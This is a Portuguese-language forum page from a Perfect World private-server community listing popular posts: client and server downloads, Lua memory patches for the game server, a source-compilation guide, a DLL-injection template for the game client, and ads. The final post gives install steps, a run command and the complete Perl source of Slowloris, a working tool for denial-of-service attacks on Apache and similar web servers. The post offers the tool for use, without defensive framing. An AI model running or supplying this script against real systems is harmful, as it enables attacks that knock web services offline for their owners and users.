Ir para conteúdo
Facebook Whatsapp Twitter Youtube

Os Melhores

Conteúdo popular

Mostrando conteúdo com a maior reputação em 03/15/25 in todas as áreas

  1. pwsever 1.6.5 = [Conteúdo Oculto] original164 GS atualizada para remover o erro de versão antiga original164.gs
    2 pontos
  2. cliente 165 traduzido pt-br [Conteúdo Oculto]. precisa trocar o elementclient pra funcionar
    2 pontos
  3. Se seu RAE Editor de Elements não abre por nada, utilize este link: RAE_2023.zip
    1 ponto
  4. Perfect World Data Editor.rar
    1 ponto
  5. Download Instalação simples Só adicionar arquivos do cliente e do servidor
    1 ponto
  6. *Files* Créditos - Vbox: Master Client PT-BR: MiTX Vbox 173 configurada - [Conteúdo Oculto] Comandos baixo e necessário para correção do cadastro navegador - systemctl stop nginx systemctl disable nginx systemctl start apache2 Client 173 PT-BR Part 1 - [Conteúdo Oculto] Part 2 - [Conteúdo Oculto] Datas (colar no server) PW SERVER 1.7.3 - PROBLEMA ATÉ AGORA: não funciona paleta ou chave não funciona transmutador não funciona troca de cultivo evil/god no 4 e 5 não funciona códice de roupas não funciona Bebê Celestial não funciona Memorial Celestial não funciona Parcelamento da arma/set g17 Macaco não upa skill no mundo principal
    1 ponto
  7. Estou deixando todos os instaladores num unico link, é só escolher qual você precisa e baixar. Conforme eu encontrar mais instaladores eu adiciono na pasta. Todos os clients tem um print da tela inicial, em alguns deles tem o nome da expansão. ADM por favor fechar meus tópicos dos outros instaladores eu agradeço. Diferenças: Client aberto = você não tem como saber se tem arquivos editados. Instalador = client original [Conteúdo Oculto] Se alguém tiver algum instalador que não esteja listado, por favor me envie no privado que eu espelho ele aqui.
    1 ponto
  8. Créditos @xDarK 1. **Acesso ao Servidor:** - Use um cliente SSH ou FTP para se conectar ao servidor. 2. **Localize o Arquivo:** - Navegue até o diretório `/home/gamed`. 3. **Abra o Arquivo `script.lua`:** - Use um editor de texto, como Nano ou Vim: ``` nano /home/gamed/script.lua ``` 4. **Adicione o Código:** - Cole o seguinte código acima da linha `mylogfunc("LUA_OTHER_EDITOR: --OK-- ")`: --Refino Máximo local refino_max = 12 --Refino 1 Click basta colocar o mesmo valor do refino_max no refino por_click local refino_por_click = 1 -- Valor permitido 1 á 12 --Não editar abaixo disso if refino_max < refino_por_click then refino_por_click = refino_max end CharTable(0x08292348, refino_max -1) IntTable(0x0829259A, refino_por_click) IntTable(0x082925CC, refino_por_click) 5. **Salve e Feche o Arquivo:** - No Nano, pressione `Ctrl + O` para salvar e `Ctrl + X` para sair. ▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ Tempo de duração itens no chão IntTable(0x811A32E,300) -- Tempo de duração do drop em segundos ▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ Hiper Exaustão de Exp IntTable(0x08208DBD,3686400) --Tempo em segundos IntTable(0x08208DC9,3686400) --Tempo em segundos ▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ Hyper ativação CharTable(0x08209358,10)--Valor 10 e Padrão ativação do hyper so muda valor CharTable(0x08208C05,9)--Valor 9 e Padrão ativação do hyper so muda valor sempre -1 ▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ soltar a daimon -- Tempo para soltar a daimon IntTable(0x82DFE97,86400) -- Editar esse valor de 86400 para o tempo desejado ▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ Adicionado para enviar mensagem de sistema atualizado colar diretamente acima da linha mylogfunc("EventOnReloadScript: --OK-- ") no arquivo script.lua: game__BroadcastChat(-1, string.char(9), 'Sistema Atualizado')
    1 ponto
  9. [Conteúdo Oculto] [Conteúdo Oculto]
    1 ponto
  10. Fala ai galera mais uma tradução de um software do nosso amigo LUKA, tinha feito a principio para uso pessoal e para um amigo a algum tempo e agora resolvi postar essa versão traduzida para vocês. Aproveitem e bom uso. =) OBS: está exportando corretamente até onde eu consegui testar na época que eu comecei a tradução, recompilei para acrescentar algumas alterações. Angelica-Maps-Exporter [PT_BR] é uma ferramenta desenvolvida por Luka, projetada para facilitar a exportação de mapas e arquivos relacionados a jogos como Perfect World, Forsaken World, Loma, Jade Dynasty, ESO e mapas HoT. Exportação de Arquivos e suas Relações: O Angelica-Maps-Exporter [PT_BR] permite exportar todos os arquivos relevantes e suas relações usadas pelos mapas dos jogos mencionados. Isso oferece uma visão completa e detalhada dos elementos necessários para criar, modificar ou entender o funcionamento desses mapas. Geração de Arquivos de Servidor: Com o Angelica-Maps-Exporter [PT_BR], os usuários podem gerar arquivos de servidor essenciais, como .hmap, .sev, .octr, .wmap e .npcgen.data. Esses arquivos são fundamentais para a configuração e operação de servidores dedicados para os jogos suportados. Downgrade e Correção de Arquivos .ecm e .gfx: Uma característica única do Angelica-Maps-Exporter [PT_BR] é sua capacidade de realizar o downgrade de arquivos .ecm e .gfx para compatibilidade com versões mais antigas do Perfect World (PW). Além disso, o software pode corrigir arquivos .ecm e .gfx específicos para garantir seu funcionamento adequado dentro do contexto do PW. Benefícios: Facilidade de Uso: Angelica-Maps-Exporter [PT_BR] é projetado com uma interface intuitiva e amigável, tornando-o acessível tanto para usuários iniciantes quanto experientes. Eficiência no Desenvolvimento: Ao automatizar tarefas de geração de arquivos de servidor e manipulação de arquivos específicos do jogo, Angelica-Maps-Exporter [PT_BR] economiza tempo e esforço, permitindo que os desenvolvedores se concentrem mais na criação e aprimoramento de conteúdo. Compatibilidade: Com suporte para uma variedade de jogos populares, Angelica-Maps-Exporter [PT_BR] oferece uma solução abrangente para desenvolvedores e entusiastas de jogos que trabalham com uma variedade de títulos. Conclusão: Angelica-Maps-Exporter [PT_BR] é uma ferramenta indispensável para qualquer pessoa envolvida no desenvolvimento, modificação ou administração de servidores dedicados para jogos como Perfect World, Forsaken World, Loma, Jade Dynasty, ESO e mapas HoT. Sua capacidade de exportar arquivos, gerar arquivos de servidor e realizar tarefas de downgrade e correção o tornam uma escolha valiosa para a comunidade de jogos online. Screenshots: Angelica-Maps-Exporter [PT_BR].rar
    1 ponto
  11. Coisas importantes na source Pode ser compilado para sistemas 32 ou 64 bits você vai ter que fazer ajustes no makefile e resolver os problemas que aparecerem. PACKAGE’S LIST : ( Estou usando o Ubuntu-20.04 (source 152), os nomes dos packages ou comandos podem mudar de acordo com a Distro que você está usando ). Os pacotes são os mesmo usados para rodar o servidor, adicionando somente alguns para fins de compilação. sudo apt-get install build-essential sudo apt-get install gcc-multilib sudo apt-get install g++-multilib sudo apt-get install dos2unix sudo apt-get install default-jdk sudo apt-get install libxml-dom-perl sudo apt-get install libxml2-dev sudo apt-get install libpcre3-dev sudo apt-get install libssl-dev sudo apt-get install libcrypto++-dev sudo apt-get install ant sudo apt-get install libsaxonhe-java sudo apt-get install libxslt1-dev sudo apt-get install libreadline-dev sudo apt-get install python sudo dpkg --add-architecture i386 sudo apt-get install libssl1.0-dev:i386 download the “libssl1.0.0_1” package wget [Conteúdo Oculto] sudo dpkg -i *.deb sudo apt-get update sudo apt-get upgrade apt --fix-broken install sudo apt-get install zlib1g:i386 sudo apt-get install libncurses5:i386 sudo apt-get install libssl-dev:i386 sudo apt-get install libxml2:i386 sudo apt-get install libpcre3-dev:i386 sudo apt-get install libxml2-dev:i386 sudo apt-get install libc6:i386 sudo apt-get install libstdc++6:i386 sudo apt-get update sudo apt-get upgrade Primeiro de tudo converter os arquivos para UNIX : pwsource/ = ./fixsrc.sh ( essa é minha pasta raiz “pwsource” você deve colacar o script dentro da sua pasta raiz ) #!/bin/bash find . -name "*.h" -exec dos2unix {} \; find . -name "*.hpp" -exec dos2unix {} \; find . -name "*.hxx" -exec dos2unix {} \; find . -name "*.cpp" -exec dos2unix {} \; find . -name "*.cxx" -exec dos2unix {} \; find . -name "Makefile" -exec dos2unix {} \; chmod -R 0755 . ; chmod -R 0755 * chown -R root:root ; chown -R root:root * share : pasta e arquivos = common , io , mk, perf, rpc, rpcgen, storage criar um link dinâmico para a pasta “cnet” ou copiar diretamente os arquivos. cnet : gfaction/operations/ = ./opgen.pl opgen.xml ( cria arquivos protocol’s) cnet/ = ./rpcgen rpcalls.xml ( cria arquivos protocol’s ) gamed/ = cria static lib libgsPro2.a gdbclient/ = cria static lib libdbCli.a logclient/ = cria static lib liblogCli.a io/ = cria static lib libgsio.a storage/ = cria static lib libdb.a ( necessário instalar o Berkeley DB 4.2 ( por algum motivo as pessoas não usam essa static lib para compilar a gs, outros jogos da Wanmei usam isso quando compila a gs. ) ) gacd/ = cria gacd gamedbd/ = cria gamedbd gauthd/ = cria gauthd substitui a authd feita em java . gdeliveryd/ = cria gdeliveryd gfaction/ = cria gfaction glinkd/ = cria glinkd logservice/ = cria logservice uniquenamed/ = cria uniquenamed gacdclient/ = ???? gclient/ = ???? cskill : skill/ = cria static lib libskill.a gen/ = ant compile cria skilleditor ( alterar a versão do java no “build.xml” para sua versão instalada) gen/ = ant -buildfile build.xml cria gen.jar ( skilleditor e gen.jar trabalham juntos , em teoria conecta num banco de dados) gen/ = java -jar gen.jar ( executa o programa ) Obs. : Existe uma relação desse programa com o rpcalls.xml , existe uma função no xmlcoder.pl para verificar a versão do rpcalls.xml ele tenta acessar o bando de dados. iolib : copiar as statics libs ( arquivos *.a ) da pasta “cnet” para a “iolib”. cgame: libcommon/ = cria static lib libcommon. a ( não é necessário copiar para “iolib”) cgame/ = cria gs e a dynamic lib libtask.so Extra: Não tem uma utilidade real, porém o arquivo “rpcalls.xsl” serve para gerar uma versão do “rpcalls.xml” em “.html” Gera um HTML com link para os arquivos. cnet/ = java -jar /usr/share/java/Saxon-HE.jar -s:rpcalls.xml -xsl:rpcalls.xsl -o:nome.html cria nome.html (“nome” é o nome do arquivo html, você pode usar qualquer um) OBS. : A pasta “share” existem muitos programas em java, porém não são necessários para compilar a source mas devem ter alguma utilidade, não me aprofundei mais fiquem a vontade para descobrir suas funcionalidades.
    1 ponto
  12. Traduzido por mim de russo para português funcional na versão 1.7.2 Senha pra usar o console – d 777 2177 (sempre usar antes de usar o console dura 1 hora ) script.lua
    1 ponto
  13. Arena Guan Yu 3v3 para 1.5.5+ Valor :R$300 Mapa ou Sala Adicional R$100 Contato: [Conteúdo Oculto]
    1 ponto
  14. Editor de Aipolicy criado pelo Kn1fe e Atualizado para 1.7.6 por mim ele lê e salva aipolicy 172 174 176 source:[Conteúdo Oculto] compilado: AiPolicy Editor 176v40 - Updated by Haly - Release.rar
    1 ponto
  15. Bom dia galera. Trabalho com servidores VPS com datacenter em São Paulo Uptime 99,9% Link de 1Gbps Anti-DDoS incluso Planos a partir de R$59,99/mês Suporte via whatsapp para PW. [Conteúdo Oculto] [Conteúdo Oculto] Whatsapp Suporte!
    1 ponto
  16. E aí, galerinha! Já que deixaram vazar isso aqui, vou já postar no fórum. Quem quiser, é só baixar. Funcionalidades: Comandos: - findall - encontrar e contar todos os itens - findids - encontrar itens a partir da configuração [Opções] - findid itemid - encontrar item a partir do parâmetro no console - replaceid - substituir IDs dos itens a partir da configuração [ReplaceID] [ReplaceIDPet] [ReplaceIDEgg] - replaceparts - substituir partes dos itens a partir da configuração [ReplaceItemParts] - deleteskills - excluir todas as habilidades, exceto portal da cidade, de todos os jogadores - process_skills - excluir habilidades especificadas a partir da configuração [Skills] - money-gold - substituir dinheiro/ouro a partir da configuração [MoneyGold] - dividend2gold - trocar dividendo e ouro de loja - exportrole roleid - imprimir dados da função em formato XML - exporttable table_name - exportar todos os registros da tabela em formato XML - exportuser userid - imprimir dados do usuário e suas funções em formato XML - exportoctet table_name keyid - imprimir dados octet da tabela - importoctet table_name keyid octet - substituir dados octet na tabela Download
    1 ponto
  17. Action: find and count all items User: 16 Role: 16 cls0gender0, pocket items: 2, equip items: 1 Role: 17 cls9gender1, pocket items: 2, equip items: 1 Role: 18 cls8gender0, pocket items: 2, equip items: 1 Role: 19 cls1gender1, pocket items: 2, equip items: 1 Role: 20 cls2gender1, pocket items: 2, equip items: 1 Role: 21 cls10gender0, pocket items: 2, equip items: 1 Role: 22 cls11gender1, pocket items: 2, equip items: 1 Role: 23 cls3gender1, pocket items: 2, equip items: 1 Role: 24 cls4gender0, pocket items: 2, equip items: 1 Role: 25 cls12gender1, pocket items: 2, equip items: 1 Role: 26 cls14gender0, pocket items: 2, equip items: 1 Role: 27 cls5gender1, pocket items: 2, equip items: 1 Role: 28 cls6gender0, pocket items: 4, equip items: 10001 Role: 29 cls13gender0, pocket items: 2, equip items: 2 Role: 31 cls7gender1, pocket items: 4, equip items: 2 Total users: 4, Total roles: 15, Total items: 10051, Total errors: 0 Parsing time: 37 msec Mas o Arqueiro está vazio
    1 ponto
  18. Tchow! Há algum tempo, postei este script em um canal que eu tinha no YouTube. No entanto, perdi esse canal e agora vou disponibilizá-lo aqui para aqueles que estão começando e ainda têm dificuldades na configuração do CentOS 7. O script realiza a instalação dos pacotes necessários para o funcionamento do PWServer e do CPW. Além disso, ele gera aleatoriamente o nome da pasta modificada do phpMyAdmin e também cria automaticamente a senha do MySQL, além de desativar o SELinux. O objetivo do script é deixar a máquina, seja ela uma VPS, dedicado ou uma VirtualBox, pronta para receber o servidor do jogo, bastando apenas colocar o PWServer, as libs e importar o banco de dados “pw” via phpMyAdmin. Como executar o script? Coloque-o na pasta home, dê permissão 0777 e, em seguida, execute o seguinte comando pelo PuTTY: "./Install-centos7.sh". Pronto, agora é só aguardar a conclusão e, no final, você verá uma tela semelhante à que está nesse link : Video aula Install-centos7.sh
    1 ponto
  19. Client do beta aqui no brasil em 2008: [Conteúdo Oculto] Video meu com esse client:
    1 ponto
  20. Olá, alguém sabe dizer qual a versão de servidor compatível com esse cliente beta do PWI? >» Perfect World Updated Beta Client client free download : LoneBullet Essa versão é equivalante a versão do PWBR com a expansão do Império Ancestral, mas no PWI que foi lançado depois do br, ela só veio no client beta. Já tentei várias 1.3.1, 1.3.6 e etc. mas nunca consigo fazer funcionar corretamente, sempre algum erro. Quero fazer com esse client específico porque é o mais “puro” do PW antes de virem daimons, abissais e etc. e também porque nessas versões posteriores algumas coisas bugaram, como efeitos de montarias, gfx dos teleportes da Dusk, entra outras. Mas nesse client mais antigo nada disso está bugado. E porque não achei nenhum client do Império Ancestral br puro, sem edições, ou só achei sendo versão posterior com downgrade. Se alguém puder me indicar qual versão do servidor, ou melhor ainda, tiver alguma imagem VBOX já configurada que funcione com esse client, eu agradeço...
    1 ponto
  21. Tem graça no git… [Conteúdo Oculto] [Conteúdo Oculto]
    1 ponto
  22. Aqui um exemplo da DLL q vc pode usar para configurar o discord no seu cliente. #define _CRT_SECURE_NO_WARNINGS #include <Windows.h> #include <process.h> #include <iostream> using namespace std; void __stdcall SetupDiscord(void* p); extern "C" __declspec(dllimport) void BolaHook(void); void BolaHook() {} BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { CreateThread(0, 0, (LPTHREAD_START_ROUTINE)SetupDiscord, 0, 0, 0); } break; case DLL_PROCESS_DETACH: break; } return TRUE; } void __stdcall SetupDiscord(void* p) { // AQUI VOCÊ INSERE O CÓDIGO QUE CONFIGURA SEU DISCORD // APÓS COMPILAR EM X86 VOCÊ PODE EMBUTIR ESSA DLL USANDO O PROGRAMA STUD_PE.EXE // CARREGUE NO PROGRAMA STUD_PE.EXE, VÁ PARA A GUIA FUNCTIONS // EM FUNCTIONS IMPORTED, CLIQUE COM O CANTO E ESCOLHA ADD NEW IMPORT // SELECIONE A DLL QUE VC PRODUZIU NO VISUAL STUDIO // SELECIONE BolaHook COMO FUNÇÃO IMPORTADA // ADICIONE, SALVE, INCLUA NA PASTA DO SEU CLIENTE E CERTIFIQUE DE QUE O JOGADOR TENHA O VCREDIST DA VERSÃO DA SUA DLL } algum tempo atrás ensinei a fazer a mesma coisa para nick colorido na versão 151 a exemplo na ragezone, dá pra fazer muita coisa no sentido de injetar a DLL e modificar o que vc deseja ou adicionar. [Conteúdo Oculto]
    1 ponto
  23. Olá, existem algumas formas, as duas mais usadas são com dlls externas, e com o código do pwprotector que já é inserido no elementclient. Basicamente, utilizando um hook no elementclient, precisará adicionar a api do discord e fazer com que execute e aplique informações quando o cliente do jogador é aberto. Não existe muito um caminho fácil, basicamente envolve programação e engenharia reversa, você pode ir atrás de documentação pesquisando no google discord developers.
    1 ponto
  24. eu não tenho instalador dessa versão, os instaladores são mais dificieis cliente aberto = Perfect World 1.4.5 BR - Google Drive
    1 ponto
  25. Virtual Machine para compilar a source, pronto para uso. Fedora Core 2 i386 login = root password = 123456 Essa versão usa o gcc 3.33. Está com Firewall desativado, caso for usar internet nela recomendo ativar. [Conteúdo Oculto] Obs.: 1 – Caso for alterar as configurações da vbox, deixar o processador somente com 1 nucleo caso contrário vai dar erro e não inicia a vm. 2 – Caso você use o “yum update” vai atualizar todos os pacotes, eu tive que alterar o yum.conf para fazer link direto com repositório já que o sistema não tem mais suporte e precisava adicionar alguns pacotes, quando atualizar pode ser que trave sua rede eth0, e apareça o mac adress no lugar do ip. Para resolver faça os passos abaixo. Va em configurações >> rede >> conectado a >> Placa em modo Bridge >> avançado >> Tipo de Placa Altere o tipo para outro que não seja Intel. salva e reiniciar a vbox. Durante o boot vai reconhecer que houve uma alteração deleta a antiga e não adicione a nova, espere terminar o boot e desligue a vm. Volte em: Va em configurações >> rede >> conectado a >> Placa em modo Bridge >> avançado >> Tipo de Placa Selecione o tipo para Intel novamente e reinicie a vm, delete a antiga e configure essa, só marque a opção apra ip dinâmico e termina o boot, você vai ver que agora tem o ip. Com isso vai conseguir usar o Winscp caso tenha atualizado. 3 – Caso você faça o update irá aparecer diversas kernels durante o boot, recomendo usar a padrão. Não sei se as outras kernels afetam a compilação não testei. 4 – Caso queira adicionar algum pacote extra só procurar no repositório. [Conteúdo Oculto]
    1 ponto
  26. Infelizmente nesses arquivos possui os opções no lar de mascote, e que não tá funcional nos arquivos originais do post, mas de resto, tudo funcinou, obrigado!
    1 ponto
  27. no pwadmin: pwserver/pwadmin/pwadmin.conf shellAdd = LD_PRELOAD=libtask.so %s
    -1 pontos
  28. Como Usar o Slowloris VERSÕES AFETADAS Este problema impacta vários servidores web, incluindo: Apache (versões 1.x e 2.x) dhttpd GoAhead WebServer Possivelmente outros servidores web Requisitos: sudo apt-get update sudo apt-get install perl sudo apt-get install libwww-mechanize-shell-perl sudo apt-get install perl-mechanize Utilizando ./slowloris.pl perl slowloris.pl -dns 127.0.0.1 -options #!/usr/bin/perl -w use strict; use IO::Socket::INET; use IO::Socket::SSL; use Getopt::Long; use Config; $SIG{'PIPE'} = 'IGNORE'; #Ignore broken pipe errors print <<EOTEXT; Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client by Laera Loris EOTEXT my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections ); my ( $cache, $httpready, $method, $ssl, $rand, $tcpto ); my $result = GetOptions( 'shost=s' => \$shost, 'dns=s' => \$host, 'httpready' => \$httpready, 'num=i' => \$connections, 'cache' => \$cache, 'port=i' => \$port, 'https' => \$ssl, 'tcpto=i' => \$tcpto, 'test' => \$test, 'timeout=i' => \$timeout, 'version' => \$version, ); if ($version) { print "Version 0.7\n"; exit; } unless ($host) { print "Usage:\n\n\tperl $0 -dns [www.example.com] -options\n"; print "\n\tType 'perldoc $0' for help with options.\n\n"; exit; } unless ($port) { $port = 80; print "Defaulting to port 80.\n"; } unless ($tcpto) { $tcpto = 5; print "Defaulting to a 5 second tcp connection timeout.\n"; } unless ($test) { unless ($timeout) { $timeout = 100; print "Defaulting to a 100 second re-try timeout.\n"; } unless ($connections) { $connections = 1000; print "Defaulting to 1000 connections.\n"; } } my $usemultithreading = 0; if ( $Config{usethreads} ) { print "Multithreading enabled.\n"; $usemultithreading = 1; use threads; use threads::shared; } else { print "No multithreading capabilites found!\n"; print "Slowloris will be slower than normal as a result.\n"; } my $packetcount : shared = 0; my $failed : shared = 0; my $connectioncount : shared = 0; srand() if ($cache); if ($shost) { $sendhost = $shost; } else { $sendhost = $host; } if ($httpready) { $method = "POST"; } else { $method = "GET"; } if ($test) { my @times = ( "2", "30", "90", "240", "500" ); my $totaltime = 0; foreach (@times) { $totaltime = $totaltime + $_; } $totaltime = $totaltime / 60; print "This test could take up to $totaltime minutes.\n"; my $delay = 0; my $working = 0; my $sock; if ($ssl) { if ( $sock = new IO::Socket::SSL( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working = 1; } } else { if ( $sock = new IO::Socket::INET( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working = 1; } } if ($working) { if ($cache) { $rand = "?" . int( rand(99999999999999) ); } else { $rand = ""; } my $primarypayload = "GET /$rand HTTP/1.1\r\n" . "Host: $sendhost\r\n" . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n" . "Content-Length: 42\r\n"; if ( print $sock $primarypayload ) { print "Connection successful, now comes the waiting game...\n"; } else { print "That's odd - I connected but couldn't send the data to $host:$port.\n"; print "Is something wrong?\nDying.\n"; exit; } } else { print "Uhm... I can't connect to $host:$port.\n"; print "Is something wrong?\nDying.\n"; exit; } for ( my $i = 0 ; $i <= $#times ; $i++ ) { print "Trying a $times[$i] second delay: \n"; sleep( $times[$i] ); if ( print $sock "X-a: b\r\n" ) { print "\tWorked.\n"; $delay = $times[$i]; } else { if ( $SIG{__WARN__} ) { $delay = $times[ $i - 1 ]; last; } print "\tFailed after $times[$i] seconds.\n"; } } if ( print $sock "Connection: Close\r\n\r\n" ) { print "Okay that's enough time. Slowloris closed the socket.\n"; print "Use $delay seconds for -timeout.\n"; exit; } else { print "Remote server closed socket.\n"; print "Use $delay seconds for -timeout.\n"; exit; } if ( $delay < 166 ) { print <<EOSUCKS2BU; Since the timeout ended up being so small ($delay seconds) and it generally takes between 200-500 threads for most servers and assuming any latency at all... you might have trouble using Slowloris against this target. You can tweak the -timeout flag down to less than 10 seconds but it still may not build the sockets in time. EOSUCKS2BU } } else { print "Connecting to $host:$port every $timeout seconds with $connections sockets:\n"; if ($usemultithreading) { domultithreading($connections); } else { doconnections( $connections, $usemultithreading ); } } sub doconnections { my ( $num, $usemultithreading ) = @_; my ( @first, @sock, @working ); my $failedconnections = 0; $working[$_] = 0 foreach ( 1 .. $num ); #initializing $first[$_] = 0 foreach ( 1 .. $num ); #initializing while (1) { $failedconnections = 0; print "\t\tBuilding sockets.\n"; foreach my $z ( 1 .. $num ) { if ( $working[$z] == 0 ) { if ($ssl) { if ( $sock[$z] = new IO::Socket::SSL( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working[$z] = 1; } else { $working[$z] = 0; } } else { if ( $sock[$z] = new IO::Socket::INET( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working[$z] = 1; $packetcount = $packetcount + 3; #SYN, SYN+ACK, ACK } else { $working[$z] = 0; } } if ( $working[$z] == 1 ) { if ($cache) { $rand = "?" . int( rand(99999999999999) ); } else { $rand = ""; } my $primarypayload = "$method /$rand HTTP/1.1\r\n" . "Host: $sendhost\r\n" . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n" . "Content-Length: 42\r\n"; my $handle = $sock[$z]; if ($handle) { print $handle "$primarypayload"; if ( $SIG{__WARN__} ) { $working[$z] = 0; close $handle; $failed++; $failedconnections++; } else { $packetcount++; $working[$z] = 1; } } else { $working[$z] = 0; $failed++; $failedconnections++; } } else { $working[$z] = 0; $failed++; $failedconnections++; } } } print "\t\tSending data.\n"; foreach my $z ( 1 .. $num ) { if ( $working[$z] == 1 ) { if ( $sock[$z] ) { my $handle = $sock[$z]; if ( print $handle "X-a: b\r\n" ) { $working[$z] = 1; $packetcount++; } else { $working[$z] = 0; #debugging info $failed++; $failedconnections++; } } else { $working[$z] = 0; #debugging info $failed++; $failedconnections++; } } } print "Current stats:\tSlowloris has now sent $packetcount packets successfully.\nThis thread now sleeping for $timeout seconds...\n\n"; sleep($timeout); } } sub domultithreading { my ($num) = @_; my @thrs; my $i = 0; my $connectionsperthread = 50; while ( $i < $num ) { $thrs[$i] = threads->create( \&doconnections, $connectionsperthread, 1 ); $i += $connectionsperthread; } my @threadslist = threads->list(); while ( $#threadslist > 0 ) { $failed = 0; } } __END__ =head1 TITLE Slowloris by llaera =head1 VERSION Version 1.0 Stable =head1 DATE 02/11/2013 =head1 AUTHOR Laera Loris [email protected] =head1 ABSTRACT Slowloris both helps identify the timeout windows of a HTTP server or Proxy server, can bypass httpready protection and ultimately performs a fairly low bandwidth denial of service. It has the added benefit of allowing the server to come back at any time (once the program is killed), and not spamming the logs excessively. It also keeps the load nice and low on the target server, so other vital processes don't die unexpectedly, or cause alarm to anyone who is logged into the server for other reasons. =head1 AFFECTS Apache 1.x, Apache 2.x, dhttpd, GoAhead WebServer, others...? =head1 NOT AFFECTED IIS6.0, IIS7.0, lighttpd, nginx, Cherokee, Squid, others...?
    -1 pontos

Suporte GM

Comunidade de Perfect World do Brasil

Copyright © 2023-2024 SuporteGM Powered by Invision Community
Поддержка Invision Community в России

Links

×
×
  • Criar Novo...